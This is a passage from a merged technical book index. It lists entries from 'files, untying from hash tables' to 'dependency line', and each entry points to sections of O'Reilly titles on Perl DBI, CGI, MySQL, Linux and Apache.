files, untying from hash tables: 10.2.1. DB_File (CGI Programming with Perl)
flat-file (see flat-file databases)
generating dynamic views: 6.1.6. Database Metadata (Programming the Perl DBI)
grouping and ordering: 6.7.3. Grouping and Ordering (MySQL & mSQL)
handles to: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
locking
Berkeley databases: 2.7.2. Locking Strategies (Programming the Perl DBI)
flat-file databases: 2.6. Concurrent Database Access and Locking (Programming the Perl DBI)
mid-range engines: 7. Other Mid-Range Database Engines (MySQL & mSQL)
mSQL: 5.5. Database Administration (MySQL & mSQL)
mSQL backups: 5.5.2. Backups (MySQL & mSQL)
msqladmin utility: 5.5. Database Administration (MySQL & mSQL)
mysqladmin utility: 4.4.1. The mysqladmin Utility (MySQL & mSQL)
object-oriented: 7.2.5. Objects (MySQL & mSQL)
perl, linking with: 10.4. DBI (CGI Programming with Perl)
preparing SQL statements: 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
proxying: 8.2. Database Proxying (Programming the Perl DBI)
purpose: 1.3. Applications and Databases (MySQL & mSQL)
queries, issuing simple: 5.1. Issuing Simple Queries (Programming the Perl DBI)
query languages (see query languages)
querying: 6.7. Queries (MySQL & mSQL)
13.2.1.3. Making Calls to the database (MySQL & mSQL)
quoting and escaping SQL statements: 4.6.1. Database-Specific Quote Handling (Programming the Perl DBI)
relational: 3.1. The Relational Database Methodology (Programming the Perl DBI)
1.2. What Is a Relational Database? (MySQL & mSQL)
result sets: 5.1.3. Fetching Data (Programming the Perl DBI)
retrieving entity metadata: 6.1.6. Database Metadata (Programming the Perl DBI)
rolling back changes: 6.3. Transactions, Locking, and Isolation (Programming the Perl DBI)
schemas: 3.1. The Relational Database Methodology (Programming the Perl DBI)
6.1.6. Database Metadata (Programming the Perl DBI)
security: 4.4.3. Security (MySQL & mSQL)
5.5.3. Security (MySQL & mSQL)
storage managers and layers: 2.1. Storage Managers and Layers (Programming the Perl DBI)
system catalogs: 6.1.6. Database Metadata (Programming the Perl DBI)
testing: 13.1. The Two APIs (MySQL & mSQL)
updating: 10.3.4. Updating Data (CGI Programming with Perl)
6.6.2. Updates (MySQL & mSQL)
11.1.2. Updates (MySQL & mSQL)
Web and: 1.3.1. Databases and the Web (MySQL & mSQL)
Data::Dumper module: 10.2.2. MLDBM (CGI Programming with Perl)
15.3.4. Dumping Variables (CGI Programming with Perl)
2. Basic Non-DBI Databases (Programming the Perl DBI)
2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
displaying restored data: 2.8. The MLDBM Module (Programming the Perl DBI)
DataHash( ): 7.4.2. Win32::ODBC (Programming the Perl DBI)
Data::ShowTable module: 21.1. Installation (MySQL & mSQL)
$data_source argument: 4.3. Data Source Names (Programming the Perl DBI)
4.4.1. Connection (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
DataSource class: 14.1. What Is JDBC? (MySQL & mSQL)
data_sources( ): A.3.1. DBI Class Methods (Programming the Perl DBI)
available_drivers( ) and: 4.3. Data Source Names (Programming the Perl DBI)
driver handles and: 4.2.1. Driver Handles (Programming the Perl DBI)
data_sources function: 21.2. DBI.pm API (MySQL & mSQL)
datatypes: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
binary large object: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
6.1.4. Common Attributes (Programming the Perl DBI)
bind values and: 5.3.2. Bind Values and Data Typing (Programming the Perl DBI)
character: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
date: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
LOB (large object): 6.2. Handling LONG/LOB Data (Programming the Perl DBI)
LONG: 6.1.4. Common Attributes (Programming the Perl DBI)
6.2. Handling LONG/LOB Data (Programming the Perl DBI)
macros for: 13.2.4. Rows (MySQL & mSQL)
mSQL: 5.2. mSQL Versions (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
19.2.1. Datatypes (MySQL & mSQL)
MySQL: 15.1. MySQL SQL (MySQL & mSQL)
19.1.1. Datatypes (MySQL & mSQL)
numeric: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
SQL: 6.3. SQL Datatypes (MySQL & mSQL)
TEXT: 2.4. Physical Database Design (MySQL & mSQL)
date (see time and date)
date( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
Date( ) method: 22. JDBC Reference (MySQL & mSQL)
date command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
DATE datatype: 5.2. mSQL Versions (MySQL & mSQL)
6.3. SQL Datatypes (MySQL & mSQL)
6.3. SQL Datatypes (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
Date field: 2.4.2.4. Date (CGI Programming with Perl)
Date interface: 22. JDBC Reference (MySQL & mSQL)
$Date keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
DATE_GMT variable: 6.2.3. Environment Variables (CGI Programming with Perl)
6.2.3. Environment Variables (CGI Programming with Perl)
DATE_LOCAL variable: 6.2.3. Environment Variables (CGI Programming with Perl)
6.2.3. Environment Variables (CGI Programming with Perl)
dates and times
current, template file: 6.3.1. Syntax (CGI Programming with Perl)
customizing display with SSI config command: 6.2.4. Tailoring SSI Output (CGI Programming with Perl)
formatting with SSI: 6.2.4. Tailoring SSI Output (CGI Programming with Perl)
last date modified, displaying with SSI: 6.2. Server Side Includes (CGI Programming with Perl)
last modification of requested resource: 2.4.2.6. Last-Modified (CGI Programming with Perl)
DATETIME datatype: 15.1. MySQL SQL (MySQL & mSQL)
DAYNAME( ) function: 15.1. MySQL SQL (MySQL & mSQL)
DB2 (see DBD\\DB2 driver)
db database manager: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
db, MySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
db table: 4.4.3.2. The db table (MySQL & mSQL)
$db, using: 10.2.1. DB_File (CGI Programming with Perl)
dbadmin utility: 5.6.2.2. CGI interfaces (MySQL & mSQL)
db_auth_module: 1.8.3. Modules (Apache: The Definitive Guide)
DB_BTREE storage format: 2.7.1. Creating a New Database (Programming the Perl DBI)
2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
DBC properties files: 14.1.2. Maintaining Portability Using Properties Files (MySQL & mSQL)
DB_CACHE constant: 12.3. Inverted Index Search (CGI Programming with Perl)
DBD::ADO driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::CSV driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
driver-specific attributes: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::CSV module: 10.1.5. DBD::CSV (CGI Programming with Perl)
DBI driver, using: 10.4.1. Using DBI (CGI Programming with Perl)
text files, storing data in: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
DBD::DB2 driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD/DBI (DataBase Dependent/DataBase Independent): 10.1. DBI (MySQL & mSQL)
DBD::Empress driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::EmpressNet driver (see DBD\\Empress driver)
DBD::Informix driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
stored procedures: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::Ingres driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
driver-specific attributes: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::InterBase driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::mSQL driver (see DBD\\mysql driver)
DBD::mysql driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
driver-specific attributes and methods: B. Driver and Database Characteristics (Programming the Perl DBI)
locking: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::ODBC driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::ODBC module
vs. Win32::ODBC: 7.4.1. DBD::ODBC (Programming the Perl DBI)
DBD::Oracle driver: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
driver-specific methods: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
stored procedures: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::Pg driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
driver-specific attributes: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::Proxy module: 8.2.1. The Database Proxy Architecture (Programming the Perl DBI)
8.2.1.2. Connecting to the proxy server (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
DBDs (see database drivers)
DBD::SearchServer driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
locking: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::Sybase driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
driver-specific attributes and methods: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
stored procedures: B. Driver and Database Characteristics (Programming the Perl DBI)
transactions: B. Driver and Database Characteristics (Programming the Perl DBI)
DBD::XBase driver: B. Driver and Database Characteristics (Programming the Perl DBI)
connect syntax: B. Driver and Database Characteristics (Programming the Perl DBI)
datatypes: B. Driver and Database Characteristics (Programming the Perl DBI)
parameter binding: B. Driver and Database Characteristics (Programming the Perl DBI)
SQL dialect: B. Driver and Database Characteristics (Programming the Perl DBI)
table metadata: B. Driver and Database Characteristics (Programming the Perl DBI)
DBF files, dBASE: 5.6.2.1. Database conversion utilities (MySQL & mSQL)
DB_File module: 10.2. DBM Files (CGI Programming with Perl)
10.2.1. DB_File (CGI Programming with Perl)
2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
2.8. The MLDBM Module (Programming the Perl DBI)
default values: 2.7.1. Creating a New Database (Programming the Perl DBI)
DESTROY method: 10.2.1. DB_File (CGI Programming with Perl)
index, creating and storing with: 12.3. Inverted Index Search (CGI Programming with Perl)
using for storage: 2.8. The MLDBM Module (Programming the Perl DBI)
using seq( ): 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
using with MLDBM to lock DBM file: 10.2.2. MLDBM (CGI Programming with Perl)
dbf2msql command: 5.6.2.1. Database conversion utilities (MySQL & mSQL)
dbf2mysql utility: 4.5.2.1. Database conversion utilities (MySQL & mSQL)
$dbh database handle: 4.2.2. Database Handles (Programming the Perl DBI)
$dbh variable: A.3.1. DBI Class Methods (Programming the Perl DBI)
DB_HASH storage format: 2.7.1. Creating a New Database (Programming the Perl DBI)
2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
DBI: 1. Introduction (Programming the Perl DBI)
accessing databases from Perl: 10.1. DBI (MySQL & mSQL)
application architecture: A.2.1. Architecture of a DBI Application (Programming the Perl DBI)
architecture: 4.1. DBI Architecture (Programming the Perl DBI)
combining with ODBC: 7.5. The Marriage of DBI and ODBC (Programming the Perl DBI)
connecting to databases: 4.3. Data Source Names (Programming the Perl DBI)
conventions: A.2.2. Notation and Conventions (Programming the Perl DBI)
data flow through: 4.1. DBI Architecture (Programming the Perl DBI)
data source names (see data source names)
database drivers: 4.1. DBI Architecture (Programming the Perl DBI)
database proxying: 8.2. Database Proxying (Programming the Perl DBI)
downloading source code: B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
error codes: 7.3.2. Standard Error Codes (Programming the Perl DBI)
error handling (see error handling)
example application: 10.2. An Example DBI Application (MySQL & mSQL)
execution tracing: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
formatting output generated by tracing: 4.6.3. Neat and Tidy Formatting (Programming the Perl DBI)
handles (see handles)
home page: A.1.1. Getting Help (Programming the Perl DBI)
implementing drivers: 4.1. DBI Architecture (Programming the Perl DBI)
implementing SQL: 7.3.1. A Standard SQL Syntax (Programming the Perl DBI)
installing: B.1. Acquiring the DBI and Drivers (Programming the Perl DBI)
integrating databases and web sites: 5.1.1.1. Constructing "on-the-fly" statements (Programming the Perl DBI)
interface rules: A.2.4. General Interface Rules and Caveats (Programming the Perl DBI)
metadata functions: 7.3.3. Rich Metadata (Programming the Perl DBI)
module: 4.1. DBI Architecture (Programming the Perl DBI)
naming conventions: A.2.5. Naming Conventions and Name Space (Programming the Perl DBI)
proxy architecture: 8.2.1. The Database Proxy Architecture (Programming the Perl DBI)
proxy servers (see proxy servers)
real-world uses: 1.3. DBI in the Real World (Programming the Perl DBI)
shell program (dbish): 8.1. dbish--The DBI Shell (Programming the Perl DBI)
specification: A. DBI Specification (Programming the Perl DBI)
statement preparation data flow: 5.1.1. Preparing SQL Statements (Programming the Perl DBI)
supporting databases: 4.1. DBI Architecture (Programming the Perl DBI)
synopsis: A.1. Synopsis (Programming the Perl DBI)
transaction handling (see transaction handling)
usage summary: A.2.3. Outline Usage (Programming the Perl DBI)
utility functions (see utility functions)
utility methods (see utility methods)
using Win32::DBIODBC module: 7.7. Moving Between Win32::ODBC and the DBI (Programming the Perl DBI)
DBI (Database Independent Interface): 10.4. DBI (CGI Programming with Perl)
address book, creating: 10.4.2. DBI Address Book (CGI Programming with Perl)
address table: 10.4.2.1. Address book database creation script (CGI Programming with Perl)
address table, creating: 10.4.2.1. Address book database creation script (CGI Programming with Perl)
CGI script for querying and modifying data: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
database, connecting to: 10.4.1.1. Connecting to DBI (CGI Programming with Perl)
database manipulation: 10.4.1.2. Database manipulation (CGI Programming with Perl)
using: 10.4.1. Using DBI (CGI Programming with Perl)
DBI->available_drivers( ) ) (see available_drivers()
DBI->connect( ) ) (see connect())
DBI->data_sources( ) ) (see data_sources()
DBI->trace( ) ) (see trace()
DBI->trace_msg( ) ) (see trace_msg()
DBI methods, passing attributes to: 6.1.1. Passing Attributes to DBI Methods (Programming the Perl DBI)
DBI module: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
21.1. Installation (MySQL & mSQL)
DBI portion of DBI/DBD module: 21.1. Installation (MySQL & mSQL)
dbi-users mailing list: A.9.4. Mailing List (Programming the Perl DBI)
DBI_AUTOPROXY environment variable: 8.2.1.2. Connecting to the proxy server (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
DBI::CSV module: 10.1.5. DBD::CSV (CGI Programming with Perl)
DBI_DSN environment variable: 4.3. Data Source Names (Programming the Perl DBI)
6.1.2. Connecting with Attributes (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
$DBI::err variable: 4.5.2. Error Diagnostics (Programming the Perl DBI)
A.3.3. DBI Dynamic Attributes (Programming the Perl DBI)
$DBI::errstr variable: 4.5.2. Error Diagnostics (Programming the Perl DBI)
A.3.3. DBI Dynamic Attributes (Programming the Perl DBI)
DBI::neat_list( ): 8.1.2. Handling Statements (Programming the Perl DBI)
DBI_PASS environment variable: A.3.1. DBI Class Methods (Programming the Perl DBI)
DBI.pm API: 21.2. DBI.pm API (MySQL & mSQL)
dbiproxy script: 8.2.1.1. Setting up a proxy server (Programming the Perl DBI)
8.2.2.1. Access configuration (Programming the Perl DBI)
DBI::ProxyServer module: 8.2.1. The Database Proxy Architecture (Programming the Perl DBI)
8.2.2. Advanced Topics (Programming the Perl DBI)
$DBI::rows variable ) (see rows()
dbish (DBI shell): 8.1. dbish--The DBI Shell (Programming the Perl DBI)
command syntax: 8.1.2. Handling Statements (Programming the Perl DBI)
issuing ad-hoc SQL statements: 8.1.2. Handling Statements (Programming the Perl DBI)
miscellaneous commands: 8.1.3. Some Miscellaneous dbish Commands (Programming the Perl DBI)
$DBI::state variable: 4.5.2. Error Diagnostics (Programming the Perl DBI)
7.3.2. Standard Error Codes (Programming the Perl DBI)
A.3.3. DBI Dynamic Attributes (Programming the Perl DBI)
DBI_TRACE environment variable: 4.6.2. Tracing DBI Execution (Programming the Perl DBI)
DBI_USER environment variable: A.3.1. DBI Class Methods (Programming the Perl DBI)
dblist( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
DBM file libraries: 2.1. Storage Managers and Layers (Programming the Perl DBI)
DBM files: 8.8.4. RewriteMap (Apache: The Definitive Guide)
10. Data Persistence (CGI Programming with Perl)
10.2. DBM Files (CGI Programming with Perl)
2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
accessor methods: 2.7.3.3. Object accessor methods (Programming the Perl DBI)
Berkeley databases and: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
chaining multiple values into a hash: 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
creating new databases: 2.7.1. Creating a New Database (Programming the Perl DBI)
deleting values: 2.7.4. Deleting Values (Programming the Perl DBI)
file descriptors: 2.7.2. Locking Strategies (Programming the Perl DBI)
hashtables, querying limitations: 2.7.3.4. Querying limitations of DBM files and hashtables (Programming the Perl DBI)
key/value pairs: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
2.7.3. Inserting and Retrieving Values (Programming the Perl DBI)
localized storage and retrieval: 2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
locking, using MLDBM with DB_File: 10.2.2. MLDBM (CGI Programming with Perl)
MLDBM module, saving and retrieving as Perl with: 10.2.2. MLDBM (CGI Programming with Perl)
packing in Perl objects: 2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
storing data using join( ) or pack(): 2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
dbm_auth_module: 1.8.3. Modules (Apache: The Definitive Guide)
dbmmanage script: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
DBMS (Database Management System): 1.2. What Is a Relational Database? (MySQL & mSQL)
DBperl: 7.2. DBI--Thrashed and Mutated (Programming the Perl DBI)
Db.py API: 4.5.2.4. Programming interfaces (MySQL & mSQL)
DB_RECNO storage format: 2.7.1. Creating a New Database (Programming the Perl DBI)
dbview command: 5.6.2.3. Client applications (MySQL & mSQL)
dd command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
2.1.2. Getting Linux from the Internet (Running Linux)
5.1. Running the System (Running Linux)
5.2.1. Using a Boot Floppy (Running Linux)
6.2.1. Creating Swap Space (Running Linux)
DDD (Data Display Debugger): 14.2.1. Debuggers (Running Linux)
DDL (Data Definition Language) commands: 3.5. Creating and Destroying Tables (Programming the Perl DBI)
Debian Linux
Alpha systems: C.2. The Linux Port (Running Linux)
LinuxPPC: D. LinuxPPC: Installing Linux on PowerPC Computers (Running Linux)
Motorola 68000-series systems: E.3. Distributions (Running Linux)
Debian Package Manager
commands: 5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
files: 5.2.1. Files (Linux in a Nutshell)
package flags: 5.2.3. Package Flags (Linux in a Nutshell)
package/selection states: 5.2.2. Package States and Selection States (Linux in a Nutshell)
packaging tools: 5.2. The Debian Package Manager (Linux in a Nutshell)
shell/Perl scripts: 5.2.4. Scripts (Linux in a Nutshell)
debug parameter (linux): 3.1.1. Booting Linux (Running Linux)
debugfs command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
debugging: 3.1.1. Booting Linux (Running Linux)
14.1.2. Examining a Core File (Running Linux)
(see also troubleshooting)
CGI programs: 15. Debugging CGI Applications (CGI Programming with Perl)
-debug pragma, use with CGI.pm: 15.3.3. Running Scripts from the Command Line (CGI Programming with Perl)
commands, summary of: 15.3.5.1. The Perl debugger (CGI Programming with Perl)
common errors: 15.1. Common Errors (CGI Programming with Perl)
debugging tools: 15.3. Debugging Tools (CGI Programming with Perl)
Perl coding techniques for error avoidance: 15.2. Perl Coding Techniques (CGI Programming with Perl)
Checker package: 14.1.2. Examining a Core File (Running Linux)
14.2.5. Using Checker (Running Linux)
core dumps (see core files)
echoing errors to browser, use of: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
errors in CGI scripts with STDERR output: 3.1.1.3. STDERR (CGI Programming with Perl)
ext2 file system: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
gdb debugger: 13.1.2. gcc Features (Running Linux)
13.1.6. Enabling Debugging Code (Running Linux)
14.1. Debugging with gdb (Running Linux)
shared libraries and: 13.1.7.1. Creating shared libraries (Running Linux)
gdb (GNU debugger): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
instruction-level: 14.1.6.2. Instruction-level debugging (Running Linux)
interactive debuggers for: 14.2.1. Debuggers (Running Linux)
log files and: 8.3. Managing System Logs (Running Linux)
program while running: 14.1.3. Debugging a Running Program (Running Linux)
redirecting error messages: 4.9. Saving Your Output (Running Linux)
routing tables: 15.1.3.8. Trying out your network (Running Linux)
debugging CGI scripts: 4.5. Debugging Scripts (Apache: The Definitive Guide)
DEC (Digital Equipment Corporation): C.1. Alpha History and Status (Running Linux)
decbin( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
DECIMAL datatype: 15.1. MySQL SQL (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
declarations
global variables: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
variables, using strict mode: 15.2.1. Use strict (CGI Programming with Perl)
declare command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
declaring variables/arrays (gawk): 13.6. Variable and Array Assignments (Linux in a Nutshell)
decoct( ) utility: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
decode-bits option: 16.1.2. Command line variables (MySQL & mSQL)
decoding HTML form input: 4.3. Decoding Form Input (CGI Programming with Perl)
decoding tab-delimited data and end-of-line characters: 10.1.4. Delimiters (CGI Programming with Perl)
default command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
default gateway: 15.1.1. TCP/IP Concepts (Running Linux)
default installation paths (Apache web server): 1.4. Web Server Configuration (CGI Programming with Perl)
default= option (LILO): G.1. Global Options (Running Linux)
DEFAULT value attribute: 15.1. MySQL SQL (MySQL & mSQL)
DefaultColorDepth option (XF86Config): 10.4. Configuring XFree86 (Running Linux)
DefaultIcon directive: 7.1.7. DefaultIcon (Apache: The Definitive Guide)
16.1.3.2. srm.conf (Running Linux)
DefaultType directive: 6.1.3. DefaultType (Apache: The Definitive Guide)
16.1.4.4. An aside: MIME types (Running Linux)
define-key function: 9.2.8. Tailoring Emacs (Running Linux)
degree (see cardinality)
dektop system, GNOME: B.3. The GNOME Desktop: A User's Point of View (Running Linux)
Del key
bash and: 7.3.3. Command-line Editing (Linux in a Nutshell)
Emacs and: 10.2. Typical Problems (Linux in a Nutshell)
delay= option (LILO): G.1. Global Options (Running Linux)
delete command (CVS) (see remove command (CVS))
delete command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
delete command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
DELETE FROM statement: 6.6.4. Deletes (MySQL & mSQL)
Delete key (Emacs): 9.2.8. Tailoring Emacs (Running Linux)
DELETE method: 2.3.1.1. PUT and DELETE (CGI Programming with Perl)
DELETE method (HTTP): 4.1.2. What Is an HTTP Method? (Apache: The Definitive Guide)
delete operator, Perl: 2.7.4. Deleting Values (Programming the Perl DBI)
delete query screen: 10.4.2.2. Address book CGI script (CGI Programming with Perl)
DELETE SQL statement: 3.4.2. Deleting Data (Programming the Perl DBI)
DELETE statement: 15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
Deleted blocks field, isamchk: 4.6.1. The MySQL Data Structure (MySQL & mSQL)
deleteRow( ) method: 22. JDBC Reference (MySQL & mSQL)
deleting
columns: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
directories: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
duplicate text lines: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Emacs commands for: 10.3.3. Deletion Commands (Linux in a Nutshell)
files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
LILO: 5.2.2.4. Removing LILO (Running Linux)
mutexes: 14.6.9.1. Mutex Functions (Apache: The Definitive Guide)
partitions: 2.2.4. Repartitioning Your Drives (Running Linux)
pools: 14.6.1. Pool Functions (Apache: The Definitive Guide)
print jobs from queue: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
queued jobs: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
rotating log files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
semaphores: 14.6.9.2. Semaphore Functions (Apache: The Definitive Guide)
suEXEC security against: 4.7.1. A Demonstration of suEXEC (Apache: The Definitive Guide)
text: 9.2.4. Deleting, Copying, and Moving Text (Running Linux)
9.2.4. Deleting, Copying, and Moving Text (Running Linux)
(see also cutting and pasting)
vi editor: 9.1.3. Deleting Text and Undoing Changes (Running Linux)
threads: 14.6.9.4. Thread Functions (Apache: The Definitive Guide)
user accounts: 5.7.6. Deleting and Disabling Accounts (Running Linux)
vi commands for: 11.5.2. Changing and Deleting Text (Linux in a Nutshell)
deleting from databases: 10.3.5. Deleting Data (CGI Programming with Perl)
deleting parameters: 5.2.2.1. Modifying parameters (CGI Programming with Perl)
delimited-field files
deleting data: 2.4.4. Deleting Data (Programming the Perl DBI)
inserting data: 2.4.2. Inserting Data (Programming the Perl DBI)
querying data: 2.4.1. Querying Data (Programming the Perl DBI)
updating data: 2.4.3. Updating Data (Programming the Perl DBI)
delimited fields, choosing vs. fixed-length records: 2.4.1. Querying Data (Programming the Perl DBI)
delimiters
ampersand ( & ), key-value pairs: 4.1. Sending Data to the Server (CGI Programming with Perl)
CSV text files: 10.4.1. Using DBI (CGI Programming with Perl)
qq// operator, use with: 5.4.2. Here Documents (CGI Programming with Perl)
text files, use in: 10.1.4. Delimiters (CGI Programming with Perl)
tabs: 10.1.4. Delimiters (CGI Programming with Perl)
delimiting characters: 2.4. Flat-File Databases (Programming the Perl DBI)
Delphi-interface utility: 4.5.2.4. Programming interfaces (MySQL & mSQL)
demonstration web sites: 0.3. Conventions Used in This Book (Apache: The Definitive Guide)
deny directive: 5.6. Order, Allow, and Deny (Apache: The Definitive Guide)
dependency file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
dependency line: 13.2.1. What make Does (Running Linux)
